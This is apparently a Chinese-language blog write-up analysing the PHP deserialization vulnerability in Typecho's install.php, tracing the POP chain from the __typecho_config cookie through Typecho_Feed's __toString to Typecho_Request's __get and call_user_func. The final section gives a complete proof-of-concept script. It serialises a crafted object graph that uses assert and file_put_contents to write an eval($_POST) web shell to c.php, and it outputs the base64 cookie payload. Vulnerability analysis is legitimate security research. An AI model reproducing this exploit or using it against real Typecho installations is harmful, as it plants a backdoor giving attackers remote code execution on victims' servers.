typecho install.phpl漏洞分析
漏洞出了很久了一直沒時間分析,現在有空記錄下分析流程,學習下php反序列化的知識。
0x01 php序列化與反序列化及魔術方法
php序列化與反序列化用到的主要有兩個函式:unserialize()與serialize()。在unserialize()時會呼叫__wakeup()
,serialize()
時會呼叫__sleep()
函式。
達成反序列化漏洞的兩個條件:
- unserialize函式的變數可控
- php檔案中存在可利用的類,類中有魔術方法
0x02 分析過程
其他文章分析該漏洞已經很多了,這裡直接說重點。
達成該漏洞需要滿足兩個條件:
1. 反序列化函式變數可控
2. POP鏈
對於第一點,在install.php檔案的第230行已經達成,cookie中的__typecho_config
可控。
第二點的pop鏈如下:
在例項化Typecho_Db時,第120行存在字串拼接,如果$adapterName是傳入的一個類的話,會自動呼叫類的__toString()
魔術方法,於是需要尋找一個類的__toString()
。
全域性搜尋__toString()
方法,定位到Feed.php檔案,在__toString()
方法中找到以下程式碼:
_item
為Typecho_Feed
的私有屬性且為陣列。於是就有,如果訪問的_item為物件,沒有sreenName或者url屬性,呼叫該物件的魔術方法__get()
於是全域性搜尋,尋找到了Typecho_Request中的__get()方法。
call_user_func(): call_user_func
是PHP的內建函式,該函式允許使用者呼叫直接寫的函式並傳入一定的引數
於是POP鏈就出來了。
0x03 POP鏈
unserialize()中的引數可控-> Typecho_Db例項化時字串拼接導致呼叫__toString()
-> __toString()
方法中呼叫不存在的屬性導致呼叫__get()
–> Typecho_Request中的__get()
方法呼叫call_user_func
導致執行任意程式碼
0x04 poc
<?php
class Typecho_Feed{
const RSS2 = "RSS 2.0";
private $_type;
private $_version;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item){
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName' => "file_put_contents('c.php', '<?php eval(\$_POST[1]);//123123?>')");
private $_filter = array('assert');
}
$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'test');
echo base64_encode(serialize($exp));
?>